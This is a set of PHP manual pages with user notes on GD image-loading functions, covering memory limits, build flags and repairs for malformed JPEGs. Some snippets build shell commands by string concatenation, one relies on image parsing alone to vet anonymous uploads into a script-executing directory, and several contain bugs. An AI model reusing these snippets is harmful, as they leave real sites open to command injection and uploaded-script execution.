For a script that allows you to calculate the "fudge factor" discussed below by Karolis and Yaroukh, try the following. Grab a few images, preferably some large ones (the script should cope with images of up to 10 megapixels or so), some small ones, and some ones in between. Add their filenames to the $images array, then load the script in your browser.

<?php

header('Content-Type: text/plain');

ini_set('memory_limit', '50M');

function format_size($size) {
  if ($size < 1024) {
    return $size . ' bytes';
  }
  else {
    $size = round($size / 1024, 2);
    $suffix = 'KB';
    if ($size >= 1024) {
      $size = round($size / 1024, 2);
      $suffix = 'MB';
    }
    return $size . ' ' . $suffix;
  }
}

$start_mem = memory_get_usage();

echo <<<INTRO
The memory required to load an image using imagecreatefromjpeg() is a function
of the image's dimensions and the images's bit depth, multipled by an overhead.
It can calculated from this formula:
Num bytes = Width * Height * Bytes per pixel * Overhead fudge factor
Where Bytes per pixel = Bit depth/8, or Bits per channel * Num channels / 8.
This script calculates the Overhead fudge factor by loading images of
various sizes.
INTRO;

echo "\n\n";

echo 'Limit: ' . ini_get('memory_limit') . "\n";
echo 'Usage before: ' . format_size($start_mem) . "\n";

// Place the images to load in the following array:
$images = array('image1.jpg', 'image2.jpg', 'image3.jpg');
$ffs = array();

echo "\n";

foreach ($images as $image) {
  $info = getimagesize($image);
  printf('Loading image %s, size %s * %s, bpp %s... ',
         $image, $info[0], $info[1], $info['bits']);
  $im = imagecreatefromjpeg($image);
  $mem = memory_get_usage();
  echo 'done' . "\n";
  echo 'Memory usage: ' . format_size($mem) . "\n";
  echo 'Difference: ' . format_size($mem - $start_mem) . "\n";
  $ff = (($mem - $start_mem) /
         ($info[0] * $info[1] * ($info['bits'] / 8) * $info['channels']));
  $ffs[] = $ff;
  echo 'Difference / (Width * Height * Bytes per pixel): ' . $ff . "\n";
  imagedestroy($im);
  $start_mem = memory_get_usage();
  echo 'Destroyed. Memory usage: ' . format_size($start_mem) . "\n";

  echo "\n";
}

echo 'Mean fudge factor: ' . (array_sum($ffs) / count($ffs));

?>
huguowen at cn dot ibm dot com 16-May-2007 11:57
Tips for Windows User to Set up GD(dynamic graphic lib) with PHP.

Problem I meet:

When i run following function, which terminates at

$img = @imagecreatefromjpeg($image_path);

error message is : undefined function imagecreatefromjpeg();

no other code of the script gets executed.

Solution:

In one word, you need to turn on gd lib,
which hold the implementation of imagecreatefromjpeg();

please follow below steps:

my php install dir is: c:/php/
first you must try to find:
c:/php/php.ini
c:/php/ext/php_gd2.dll(php 5)
c:/php/extension/php_gd2.dll(php 4)

The php_gd2.dll is included in a standard PHP installation for Windows,
however, it's not enabled by default.
You have to turn it on,
You may simply uncomment the line "extension=php_gd2.dll" in php.ini and restart the PHP extension.

Change:
,extension=php_gd2.dll

To:
extension=php_gd2.dll

You may also have to correct the extension directory setting
from:
extension_dir = "./"
extension_dir = "./extensions"
To (FOR WINDOWS):
extension_dir = "c:/php/extensions"(php 4)
extension_dir = "c:/php/ext"(php 5)

Cheers!
sales at wholehogsoftware dot com 02-May-2007 09:10
I've found a bug in CentOS 4.x that, while previously addressed, does not seem to be directly addressed here as far as the nature of the bug is concerned.

If you are having a problem getting this function to work on CentOS 4.4 (may appear earlier) and are receiving this error:

Call to undefined function imagecreatefromjpeg()

This is because the installation *does* support JPG by default if you have libjpeg installed. However, the config script finds libjpeg in /usr/lib but it is never successfully added to the PHP build.

To fix this, you should recompile PHP and be absolutely sure to add '--with-jpeg-dir' to the config command. This should appear BEFORE the --with-gd option. Example:

'--with-jpeg-dir' '--with-gd'

If you don't put it before --with-gd, the option is completely ignored.

As always, be sure to do a 'make clean' before a 'make install'. I made the mistake of forgetting to check and wasted 30 minutes trying to resolve this problem simply because I forgot to clean up after myself previously.
hvozda at ack dot org 30-Oct-2006 03:42
If imagecreatefromjpeg() fails with "PHP Fatal error:  Call to undefined function:  imagecreatefromjpeg()", it does NOT necessarily mean that you don't have GD installed.

If phpinfo() shows GD, but not JPEG support, then that's the problem.  You would think that --with-gd would do the right thing since it does check for the existance of libjpeg (and finds it) and add that feature to GD, but it doesn't in v4.4.4 at least on RHEL v2.1, RHEL v3, CentOS v2.1 or CentOS v4.3.

On those platforms, it's *important* that --with-jpeg-dir be *before* --with-gd.  If it's not, GD won't build with jpeg support as if --with-jpeg-dir had never been specified...
info at daleconsulting dot com dot au 29-Aug-2006 06:34
In a post by Angel Leon, an example script was given that forms a thumbnail gallery using imagecreatefromjpeg.  I am fairly new to php scripts, but I found that the script did not display the table of thumbnail images if the row wasn't "filled" with images.. i.e. if there were 5 images in the folder and the script specified 3 rows in the table, then the page would only display the thumbnails for the first row and only three images were shown.  I found that if you specified the variable row with this equation, then the table would display properly:

$row = intval(count($files)+($row_size-1));

(This is the first line in the createThumbTable function.)
05-Jun-2006 10:42
regarding e dot a dot schultz at gmail dot com post

i tried the script (with the bugfixes posted later) and still got memorytrouble. most often it is still not enough memory to upload big images, even if it seems to calculate right. so this helped my perfectly:

$newLimit = $newLimit+3000000; (before passing it to the ini_set() function).

extremly simple and maybe not the best solution, but it works for now (you sure can give it less than an additional 3mb, just try what works for you).
ben dot lancaster at design-ontap dot co dot uk 24-May-2006 05:21
It is worth noting that all of the imagecreate* functions quite intentionally do not look in the include_path
anatol at nugob dot org 04-May-2006 10:59
When working with uploaded jpeg files it is usually a good idea to execute a little but very useful program called jhead
( http://www.sentex.net/~mwandel/jhead/ ).

This will clean up unnecessary jpeg header information which can cause trouble. Some cameras or applications write binary data into the headers which may result in ugly results such as strange colors when you resample the image later on.

Usage:
<?php
exec("/path/to/jhead -purejpg /path/to/image");
// for example when you uploaded a file through a form, do this before you proceed:
exec("/path/to/jhead -purejpg ".$file['tmp_name']);
?>

I didn't have the chance to test this but I guess this might even solve the problem caused by images that were taken with Canon PowerShot cameras which crash PHP.

This is from the jhead documentation: "-purejpg: Delete all JPEG sections that aren't necessary for rendering the image. Strips any metadata that various applications may have left in the image."

jhead got some other useful options as well...
webmaster at killer dot com dot ar 25-Apr-2006 01:16
The prior script by "e dot a dot schultz at gmail dot com", have a bug

$memoryLimitMB don't have a value

Add
         $memoryLimitMB = 8;
Before
          $memoryLimit = 8 * $MB;
And change that line for:
          $memoryLimit = $memoryLimitMB * $MB;

--------------

Something similar happens with the script by "JohnBrook at pobox dot com"

$memoryLimit don't have a value

Change:

$memoryLimit = $memoryLimit * $MB;

For:
  $memoryLimit = $memoryLimitMB * $MB;
e dot a dot schultz at gmail dot com 08-Apr-2006 04:35
In John's human readable code version of Karolis code to dynimicly allocate need memory there are a few bugs. If you didn't compile with the "--enable-memory-limit" option, this script will error with a level E_ERROR. Bellow is a fixed version rapped as a function. To view replacement functions for memory_get_usage() look at http://us2.php.net/manual/en/function.memory-get-usage.php

<?php
function setMemoryForImage( $filename ){
    $imageInfo = getimagesize($filename);
    $MB = 1048576;  // number of bytes in 1M
    $K64 = 65536;    // number of bytes in 64K
    $TWEAKFACTOR = 1.5;  // Or whatever works for you
    $memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                           * $imageInfo['bits']
                                           * $imageInfo['channels'] / 8
                             + $K64
                           ) * $TWEAKFACTOR
                         );
    //ini_get('memory_limit') only works if compiled with "--enable-memory-limit" also
    //Default memory limit is 8MB so well stick with that.
    //To find out what yours is, view your php.ini file.
    $memoryLimit = 8 * $MB;
    if (function_exists('memory_get_usage') &&
        memory_get_usage() + $memoryNeeded > $memoryLimit)
    {
        $newLimit = $memoryLimitMB + ceil( ( memory_get_usage()
                                            + $memoryNeeded
                                            - $memoryLimit
                                            ) / $MB
                                        );
        ini_set( 'memory_limit', $newLimit . 'M' );
        return true;
    }else
        return false;
    }
}
?>
Christoph Ziegenberg 13-Mar-2006 01:26
Matt reported that PHP crashs using imagecreatefromjpeg() - that's true and it took me a lot of time to find the error - but not only the Canon PowerShot S70, also the Canon PowerShot  A400 lets PHP (5.1.2) crash, without any chance to catch it!

So I exclude all Canon PowerShot images with the following check:

    function check_canonpowershot($filename)
    {
        if (strpos(file_get_contents($filename), 'Canon PowerShot') !== false)
        {
            return true;
        }
        return false;
    }
JohnBrook at pobox dot com 09-Feb-2006 07:14
Also, here is the same formula presented in a somewhat more human-readable way, if you'd rather:

<?php
$MB = Pow(1024,2);   // number of bytes in 1M
$K64 = Pow(2,16);    // number of bytes in 64K
$TWEAKFACTOR = 1.8;   // Or whatever works for you
$memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                        * $imageInfo['bits']
                                        * $imageInfo['channels'] / 8
                          + $K64
                        ) * $TWEAKFACTOR
                     );
$memoryHave = memory_get_usage();
$memoryLimitMB = (integer) ini_get('memory_limit');
$memoryLimit = $memoryLimit * $MB;

if ( function_exists('memory_get_usage')
     && $memoryHave + $memoryNeeded > $memoryLimit
   ) {
   $newLimit = $memoryLimitMB + ceil( ( $memoryHave
                                      + $memoryNeeded
                                      - $memoryLimit
                                      ) / $MB
                                    );
   ini_set( 'memory_limit', $newLimit . 'M' );
}
?>
JohnBrook at pobox dot com 09-Feb-2006 06:51
Additional note on allocating memory: The 1.65 in the formula provided below by yaroukh and Karolis is evidently a "fudge factor" arrived at through experimentation. I found that I had to nudge it up a little bit in order to accurately predict the memory that would be needed, otherwise the allocation still failed. In my case, I went right to 1.8 and that has worked so far. Your mileage may vary, so experiment as needed.
yaroukh at gmail dot com 09-Feb-2006 04:29
Hello Karolis

My solution was intended to solve situations when your webhoster puts a limit on the memory usage; in such a situations ini_set doesn't work ofcourse (even for variables that have 'PHP_INI_ALL' flag in a typical PHP-installation).

Have a nice day
  Yaroukh
Karolis Tamutis karolis.t_AT_gmail.com 30-Dec-2005 05:04
In addition to yaroukh at gmail dot com comment.

It seems that even a small image can eat up your default memory limit real quick. Config value 'memory_limit' is marked PHP_INI_ALL, so you can change it dynamically using ini_set. Therefore, we can "allocate memory dynamically", to prevent those memory limit exceeded errors.

<?php

$imageInfo = getimagesize('PATH/TO/YOUR/IMAGE');
$memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

if (function_exists('memory_get_usage') && memory_get_usage() + $memoryNeeded > (integer) ini_get('memory_limit') * pow(1024, 2)) {

    ini_set('memory_limit', (integer) ini_get('memory_limit') + ceil(((memory_get_usage() + $memoryNeeded) - (integer) ini_get('memory_limit') * pow(1024, 2)) / pow(1024, 2)) . 'M');

}

?>
yaroukh at gmail dot com 21-Aug-2005 04:15
Estimated memory needed for ImageCreateFromJPEG

First I supposed simple width*height*bpp will be enough, it isn't though; there is some pretty big overhead.

$imageInfo = GetImageSize($imageFilename);
$memoryNeeded = Round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

With memory_limit enabled running out of memory causes script to crash; above written will tel you how much memory you're gonna need for creating an image-resource out of image-file. So in conjunction with Memory_Get_Usage() and Get_CFG_Var('memory_limit') you can avoid the mentioned ending. (Yet there won't be too many images blocked from processing that would still fit in the memory, as the results of this are pretty accurate.)
linus at flowingcreativity dot net 29-May-2005 09:20
I am using PHP 4.3.8 and GD 2.0.23-compatible, and this function does not return an empty string on failure as stated. This line:

<?php
var_dump(imagecreatefromjpeg('bogus filename'));
?>

outputs:

bool(false)

Of course this doesn't matter unless you're using a strict comparison operator to evaluate the result, but I thought I'd point it out.
ceefour -at!- gauldong.net 24-Feb-2005 02:24
I have to say recompiling PHP from the sources and enabling JPEG support in gd took me awhile to figure out.

Somewhere especially configure --help should have stated that --with-jpeg-dir is MANDATORY if you want to have JPEG support. And even if you did so, it doesn't mean you'll get it. If it's wrongly configured, no error is going to be output, all you get is "no JPEG support". What's more confusing is when JPEG support is disabled phpinfo won't say "JPEG Support: disabled", but just omit the entry so you won't even realize something is wrong.

If you recompile PHP or gd, make sure:
- rm -f config.cache FIRST
- make clean (this helps A LOT), actually you can just delete modules/gd.*, and every *.o in ext/gd. this part actually gave me the best headache
- ./configure --with-jpeg-dir=/usr/lib OR any other directory which contains the BINARY library of libjpeg
- make, make install

phpinfo should now display jpeg support... good luck.
(you lucky guys who already have PHP 5 installed on your server... you don't have to go through all the mess I had)
cs at kainaw dot com 01-Nov-2004 11:09
The ImageCreateFromJPEG() function is capable of throwing an emalloc() error.  If this happens, the script will die, but the error will be in your error logs.  You should ensure that you have memory available before creating a large image from a jpeg file.
willertan1980 at yahoo dot com 20-Aug-2003 04:14
did you found that sometimes it hang the php when imagecreatefromjpeg() run on bad JPEG. I found that this is cause by the JPEG file U used dont have EOI (end of image)
the FF D9 at the end of your JPEG

JPEG image should start with 0xFFD8 and end with 0xFFD9

// this may help to fix the error
function check_jpeg($f, $fix=false ){
# [070203]
# check for jpeg file header and footer - also try to fix it
    if ( false !== (@$fd = fopen($f, 'r+b' )) ){
        if ( fread($fd,2)==chr(255).chr(216) ){
            fseek ( $fd, -2, SEEK_END );
            if ( fread($fd,2)==chr(255).chr(217) ){
                fclose($fd);
                return true;
            }else{
                if ( $fix && fwrite($fd,chr(255).chr(217)) ){return true;}
                fclose($fd);
                return false;
            }
        }else{fclose($fd); return false;}
    }else{
        return false;
    }
}
bpiere21 at hotmail dot com 29-Jun-2002 06:57
###--- imagecreatefromjpeg only opens JPEG files from your disk.
###--- To load JPEG images from a URL, use the function below.

function LoadJPEG ($imgURL) {

    ##-- Get Image file from Port 80 --##
    $fp = fopen($imgURL, "r");
    $imageFile = fread ($fp, 3000000);
    fclose($fp);

    ##-- Create a temporary file on disk --##
    $tmpfname = tempnam ("/temp", "IMG");

    ##-- Put image data into the temp file --##
    $fp = fopen($tmpfname, "w");
    fwrite($fp, $imageFile);
    fclose($fp);

    ##-- Load Image from Disk with GD library --##
    $im = imagecreatefromjpeg ($tmpfname);

    ##-- Delete Temporary File --##
    unlink($tmpfname);

    ##-- Check for errors --##
    if (!$im) {
        print "Could not create JPEG image $imgURL";
    }

    return $im;
}

$imageData = LoadJPEG("http://www.example.com/example.jpg");

Header( "Content-Type: image/jpeg");

imagejpeg($imageData, '', 100);
dmsales at design-monster dot com 27-Jun-2001 10:17
I just wanted to note here something i found else where that was very helpful to me when using jpeg images.  when using imagecreatefromjpeg()  it can be difficult to allocate new colors.

The work around i found was posted under imagecolorallocate() and prescribes that you first use imagecreate(), allocate colors, and then copy the jpeg into this image.
rodders_plonker at yahoo dot com 21-Jul-2000 08:49
To all those having trouble with a message to the effect of:
CreateImageFromJpeg() not supported in this PHP build
Start by adding --with-jpeg-dir to your ./configure options as I left this out (not knowing I needed it) and I spent the best part of 6 hours trying to compile to get this option. (RH 6.2, PHP 4.0.1pl2, Apache 1.3.12, GD 1.8.3)


Создаёт новое изображение из файла или URL

  • « imagecreatefromjpeg
  • imagecreatefromstring »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создаёт новое изображение из файла или URL

imagecreatefrompng

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreatefrompng — Создаёт новое изображение из файла или URL

Описание

imagecreatefrompng(string $filename): GdImage|false

imagecreatefrompng() возвращает идентификатор изображения, представляющего изображение полученное из файла с заданным именем.

Подсказка

Для этой функции вы можете использовать URL в качестве имени файла, если была включена опция fopen wrappers. Смотрите более подробную информацию об определении имени файла в описании функции fopen(). Смотрите также список поддерживаемых обёрток URL, их возможности, замечания по использованию и список предопределённых констант в разделе Поддерживаемые протоколы и обёртки.

Список параметров

filename

Путь к изображению PNG.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример обработки ошибки при загрузке PNG

<?php
function LoadPNG($imgname)
{
/* Пытаемся открыть */
$im = @imagecreatefrompng($imgname);

/* Если не удалось */
if(!$im)
{
/* Создаём пустое изображение */
$im = imagecreatetruecolor(150, 30);
$bgc = imagecolorallocate($im, 255, 255, 255);
$tc = imagecolorallocate($im, 0, 0, 0);

imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

/* Выводим сообщение об ошибке */
imagestring($im, 1, 5, 5, 'Ошибка загрузки ' . $imgname, $tc);
}

return $im;
}

header('Content-Type: image/png');

$img = LoadPNG('bogus.image');

imagepng($img);
imagedestroy($img);
?>

Результатом выполнения данного примера будет что-то подобное:

Пример использования imagecreatefrompng()

User Contributed Notes

sageptr at gmail dot com 02-Aug-2021 07:58
Because gd and imagick do not support animated PNG (at this moment), i wrote a simple function to determine if given PNG is APNG or not. It does not validate PNG, only checks whenever "acTL" chunk appears before "IDAT" like the specification says: https://wiki.mozilla.org/APNG_Specification

<?php

function is_apng(string $filename): bool
{
    $f = new \SplFileObject($filename, 'rb');
    $header = $f->fread(8);
    if ($header !== "\x89PNG\r\n\x1A\n") {
        return false;
    }
    while (!$f->eof()) {
        $bytes =  $f->fread(4);
        if (strlen($bytes) < 4) {
            return false;
        }
        $length = unpack('N', $bytes)[1];
        $chunkname = $f->fread(4);
        switch ($chunkname) {
            case 'acTL':
                return true;
            case 'IDAT':
                return false;
        }
        $f->fseek($length + 4, SEEK_CUR);
    }
    return false;
}

?>
katalin at knittedforyou dot com 17-Oct-2017 04:45
I have this code:

if (exif_imagetype($this->img_name) == IMAGETYPE_PNG) {
                try {

                    $this->image = imagecreatefrompng($this->img_name);
                    Error::log('It is a png: '.$this->img_name);
                } catch (Exception $e) {
                    echo "The image file has some strange charachters. Probably not a png image?";
                    $this->image = '';
                    $this->img_name = '';
                }
            }

And I get this error in the error.log:
PHP Unknown error:  imagecreatefrompng(): gd-png: fatal libpng error: Extra compressed data\n in Unknown on line 0

The file that I try to open is a generated .png image which I can open from gimp and Geeqie.

What is the problem? Could you please help me?
Cyrille37 13-Oct-2015 11:00
The image size (width x height) should not exceed INT_MAX ... It's still thrue on a 64 bits computer.
admin at wdfa dot co dot uk 17-Apr-2009 03:06
When using imagecreatepng with alpha blending you will lose the blending.

To over come this use something like the following
<?php
$dstimage=imagecreatetruecolor($width,$height);
$srcimage=imagecreatefrompng($src);
imagecopyresampled($dstimage,$srcimage,0,0,0,0, $width,$height,$width,$height);
?>
Where $width and $height are the width and height of the $src image.

This will create a true colour image then copy the png image to this true colour image and retain alpha blending.
marcos at assl-site dot net 28-Feb-2007 12:23
I had the same problem as jboyd1189 at yahoo dot com but I solve d it allocating more memory dynamically.

Usually the memory_limit var on php.ini is set to 8M. Unfortunately, the required amount of memory to manage a PNG image about 1000x1000 could be bigger !

The approach I used to solve the problem is:

1-Calculate the memory required by the image
2-Set the new memory_limit value
3-Create the PNG image and thumbnail
4-Restore the original value

1-The following value works for me:
$required_memory = Round($width * $height * $size['bits']);

Note that for JPEG the requirements are not the same:
http://es2.php.net/manual/en/function.imagecreatefromjpeg.php#60241

2-Use somthing like:
$new_limit=memory_get_usage() + $required_memory;
ini_set("memory_limit", $new_limit);

4-ini_restore ("memory_limit");
jboyd1189 at yahoo dot com 05-Jul-2006 02:49
I was having a terrible time with the imagecreatefrompng function as it was working perfectly for one image and not at all for another.  After many hours of frustration, I discovered that the problem was the image size (number of pixels).  It appears that the maximum number of pixels this function will process is 1,040,000.  So, be sure that the pixel resolution of the image (eg. 1040 x 1000) does not exceed this value.
07-Jun-2004 04:14
If you're trying to load a translucent png-24 image but are finding an absence of transparency (like it's black), you need to enable alpha channel AND save the setting. I'm new to GD and it took me almost two hours to figure this out.

<?php
$imgPng = imageCreateFromPng($strImagePath);
imageAlphaBlending($imgPng, true);
imageSaveAlpha($imgPng, true);

/* Output image to browser */
header("Content-type: image/png");
imagePng($imgPng);
?>


Создание нового изображения из потока представленного строкой

  • « imagecreatefrompng
  • imagecreatefromtga »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Создание нового изображения из потока представленного строкой

imagecreatefromstring

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

imagecreatefromstring — Создание нового изображения из потока представленного строкой

Описание

imagecreatefromstring(string $data): GdImage|false

imagecreatefromstring() возвращает идентификатор изображения, представляющего изображение полученное из потока data. Эти типы будут автоматически определяться, если сборка PHP их поддерживает: JPEG, PNG, GIF, BMP, WBMP, GD2 и WEBP.

Список параметров

data

Строка содержащая данные изображения.

Возвращаемые значения

В случае успешного выполнения будет возвращён объект ресурс, false, если тип изображения не поддерживается, данные не распознаются или данные нарушены и не могут быть загружены.

Ошибки

imagecreatefromstring() вызывает ошибку уровня E_WARNING, если данные в неподдерживаемом формате.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).
7.3.0 | Добавлена поддержка WEBP (если поддерживается используемой libgd).

Примеры

Пример #1 Пример использования imagecreatefromstring()

<?php
$data = 'iVBORw0KGgoAAAANSUhEUgAAABwAAAASCAMAAAB/2U7WAAAABl'
. 'BMVEUAAAD///+l2Z/dAAAASUlEQVR4XqWQUQoAIAxC2/0vXZDr'
. 'EX4IJTRkb7lobNUStXsB0jIXIAMSsQnWlsV+wULF4Avk9fLq2r'
. '8a5HSE35Q3eO2XP1A1wQkZSgETvDtKdQAAAABJRU5ErkJggg==';
$data = base64_decode($data);

$im = imagecreatefromstring($data);
if ($im !== false) {
header('Content-Type: image/png');
imagepng($im);
imagedestroy($im);
}
else {
echo 'Произошла ошибка.';
}
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagecreatefromstring()

Смотрите также

  • imagecreatefromjpeg() - Создаёт новое изображение из файла или URL
  • imagecreatefrompng() - Создаёт новое изображение из файла или URL
  • imagecreatefromgif() - Создаёт новое изображение из файла или URL
  • imagecreatetruecolor() - Создание нового полноцветного изображения

User Contributed Notes

adeline dot duterre at boxify dot be 17-Dec-2019 04:28
Many websites add, during the conversion from .jpg / .png to base64 some words before the base64 string : "data:image/png;base64,"

If you let them, the PHP function will return an error "Data is not in a recognized format in".

If you have this situation :

$image_string=str_replace("data:image/png;base64,","",$image_string);
$image_string = base64_decode($image_string);
$img = imagecreatefromstring($image_string);
chris at haydenwheeler dot com 28-Aug-2019 01:55
imagecreatefromstring does not appear to support WebP images (tested on PHP 7.2.10, with GD 2.1.0 and GD WebP support enabled)
anon at dude dot com 07-Feb-2016 12:59
[Editor's note: BMP will be supported as of PHP 7.2.0.]

In case it's not obvious from the lack of "imagecreatefrombmp()" in GD, this function cannot handle plain old BMP files either.
hope at it-helps dot com 26-May-2011 04:29
Create an image resource from file, without knowing image type:

<?php
function imagecreatefromfile($imagepath=false) {
    if(!$imagepath || !$is_readable($imagepath) return false;
    return @imagecreatefromstring(file_get_contents($imagepath));
}
$img_resource=imagecreatefromfile($imagepath);
?>
php dot net at phor dot net 25-Oct-2009 11:12
My site allows anonymous uploads to a web-accessible location (that will execute a script if it finds one).

Naturally, I need to verify that only harmless content is accepted. I am expecting only images, so I use:

<?php
  $im = $imagecreatefromstring($USERFILE);
  $valid = ($im != FALSE);
  imagedestroy($im);
  return $valid;
?>
logan at logansbailey dot com 10-Aug-2009 06:00
So you guys don't spend an hour trying to figure out why your script keeps running out of memory when you're using this or the other imagecreatefrom functions.  GD uncompresses the image when you use these functions, and this can lead to your script running out of memory.

If you download a rawimage save it on your computer to jpeg so the file size comes down, GD will automatically convert it to the raw and you can possibly run out of memory.
ville dot jungman at gmail dot com 24-Sep-2008 02:01
While downloading images from internet, it's easiest to let php decide what is the file type. So, forget using imagecreatefromjpg, imagecreatefromgif and imagecreatefrompng. Instead, this is the way to go:

<?php
$src = "http://www.varuste.net/tiedostot/l_ylabanneri.jpg";
$image = imagecreatefromstring(file_get_contents($src));
?>
nfo[NOSPAM] at safernetworks dot net 08-Sep-2008 07:04
The only way I managed to resolve the loading of image files from file data either on local site or from off-site protocols is as follows. I hope this saves someone else the two hours of debugging and looking for good examples.
[PHP]

<?php
$sFile = "http://www.justgreatwine.co.uk/img/vineyard.jpg";
$imagedata = GetFileData($sFile); //load the file in 4k chunks
/*=======THE OUTPUT=========*/
ob_start();
// assuming you have image data in $imagedata
$length = strlen($imagedata);
header('Last-Modified: '.date('r'));
header('Accept-Ranges: bytes');
header('Content-Length: '.$length);
header('Content-Type: image/jpeg');
print($imagedata);
ob_end_flush();
/*======FUNCTIONS USED======*/
function GetFileData($sFilePath){
    $fp = fopen($sFilePath, 'rb') or die('404! Unable to open file!');
    $buf = '';
    while(!feof($fp)){
        $buf .= fgets($fp, 4096);
    }
    fclose($fp);
return $buf; //returns False if failed, else the contents up to FileSize bytes.
}
?>

[/PHP]
Blizzke at gmail dot com 13-Sep-2007 02:21
I use dynamically generated images that require a little touch-up before being displayed. So essentially I do some base work, then store the images in a memory cache (APC), reload the images again from the cache later on "into" GD, do final processing and then display the image.
Since I wanted to avoid a lot of disc access I used the output buffering functions:

<?php
   // Do your image processing stuff

   // Start buffering
   ob_start ( );
   ImageGD ( $hImage );
   $sImage = ob_get_contents ( );
   ob_end_clean ( );

   // Put stuff into cache

   // Reload from cache and recreate image
   $hImage = imagecreatefromstring ( $sImage );

   // Do final editing stuff and output image
?>

Of course this is a condensed example but I just wanted to share the idea.
kanzure at gmail dot com 11-Jul-2006 09:18
Generating graphs in an external program (in this case, gnuplot) may cause problems. This is a solution hacked together in the late hours of night.

<?php
// get the values from, say, a database
$vals = "1 2\\\\n4 8\\\\n"; # etc
// construct the gnuplot_call variable, something like:
$gnuplot_call = "echo \"set term png; plot '<echo -e \\\"$vals\\\" ' ti 'Updated with' with line ; \" | gnuplot";
ob_start();
passthru($gnuplot_call, $gnuplot_call_output);
$image = imagecreatefromstring(ob_get_contents());
ob_end_clean();
imagepng($image); # display
?>
junkmail at pmobl dot com 25-Feb-2006 02:37
I know a lot of people have been having trouble using images from the Sprint PPC6700 with GD.  The jpeg library always thows an error about 16 bytes of extraneous data.  I decided to poke around in a hex editor and found those extraneous bytes occur right at the end of the exif data.

By removing this extraneous data, images can easily be manipulated by GD and the EXIF extension as a normal images.  This also removes any problems using the images with GIMP which must rely on the same jpeg libraries.

Here is a function that will check to see if an image is from the PPC6700 and then remove the extraneous data for you.  The result can successully be used with imagecreatefromstring

Author: Paul Visco
IM: paulsidekick
Created: 2-12-06

function checkFixPPC6700($orig){

    //get the file contents
    $data = file_get_contents($orig);

    //if its a PPC 6700 image cut out the extraneous 16 bits
    if(strstr($data, "\x41\x70\x61\x63\x68\x65\x00\x48")){
//this next line can all be one string I split it up so the form on php.net would accept it
        $bad_data ="\x00\x10\x4A\x46" . "\x49\x46\x00\x01\x01" . "\x00\x00\x01\x00\x01\x00\x00";
        return substr_replace($data, "", strpos($data, $bad_data),
        strlen($bad_data));
    } else {
        //if not from a PPC 6700 return data unaltered
         return $data;
    }

}
kakail at aei dot ca 26-Nov-2005 06:07
I found out that in PHP 4.3.2 and 4.3.4 that the 'imagecreatefromstring' function use a lot of memory when working with big image...
Try this piece of code with a big image (like 1Meg or more)
<?php
$loadFile = "http://bigimage.jpg";//Try with a big image
$im = imagecreatefromstring(file_get_contents($loadFile));
imagejpeg($im);
?>

With a 400k image. I run with a 16M Mem_limit but for a 1.4M image, the mem_limit required jump to more that 32M
alexandrebr at ignorethis dot gmail dot com 28-Aug-2005 05:08
An easy example to help understanding this function...

<?
$loadFile = "http://static.php.net/images/php.gif";

$im = imagecreatefromstring(file_get_contents($loadFile));
// identical to imagecreatefromgif($loadFile);
imagegif($im);
?>

The function will try to auto-determine file format (jpg, gif, png....), and will return false if fails.
paul at epeeps dot net 25-Jul-2005 07:39
I run a blogging site that allowed users to publish images from their cell phones.  For some reason, the nokia 3220 produces jpegs with extrandeous data before the EOF 0xFFF9

I wrote this class to allow you to fix the images so that they can be used with GD to resize and manipulate.  Without applying the fix both GD and gimp report errors for the file.  If basically keeps eating bytes from the junk part till the file is a valid jpeg.  Here is an example bunk pic written by a nokia 3220 that you cna test it with http://www.shawnrider.com/moblog/cache/0854747001121624103.jpg

/*
Author: Paul Visco
Hompage: http://www.elmwoodstrip.com?u=paul
AIM: paulsidekick
Notes:  The file allows you fix the jpegs created by the Nokia 3220 picture phone so that they can be manipulated using the GD library with PHP.

Usage:  Simply instanitiate the class and then call the fix method for each image.
e.g.
$nokia = new nokia;
$nokia->debug ="y";
$nokia->fix("yourpic.jpg");
*/

class nokia
{
    public $file;
    public $debug = "n";
    public $dir_name = "";
    private $img; //the image created from the string
    private $str;

    function fix($file)
    {

        //set the file to fix
        $this->file = $file;

        //load the file into a string
        $this->str = file_get_contents($this->file);

        //test to see if it is a nokia image or if it has been corrupted previously
        if (substr_count($this->str, chr(0x28).chr(0x36).chr(0x28).chr(0x2B)) == 0 || @imagecreatefromstring($this->str))
        {
            if ($this->debug =="y")
            {
                echo "\n<br />".$this->file." is not a corrupted Nokia pic";
            }

            return true;
        }

        //make a directory for fixed images if it doesn't exist and is specified
        if(!empty($this->dir_name) && !is_dir($this->dir_name))
        {
            @mkdir($this->dir_name, 0777);
        }

        //strip out the funk e crap from the file
        $this->eat($this->str);

        //write the file back to itself
        file_put_contents($this->dir_name.$this->file, $this->str);

        //return true for fixed
        return true;

    }

    function eat()
    {

        //check the image
        $this->img = @imagecreatefromstring($this->str);

        //if the image doesn't work then keep striping out crap
        while(!$this->img)
        {
            //cut off the bad bytes one by one
            $this->str= substr_replace($this->str, "", -3, -2);

            //check the image again
            $this->img = @imagecreatefromstring($this->str);
        }

        if ($this->debug =="y")
        {
            //notify the user it's fixed
            echo "\n<br />Nasty bits eaten!! ".$this->file." is fixed now thanks to p:labs!";
        }
        return true;
    }

}
not given 03-Aug-2003 02:14
A note to the previous question (if you still don't know it :))...

GIF's are 256 colors (or 8 bit), and the resample function needs true color I guess... that's why it works with JPG's and not with GIF's.

Next thing... you take a string, write it to file, open the file (imagecreatefromgif), and delete the file again.

if you do imagecreatefromstring($string) you can skip the temporary file part.
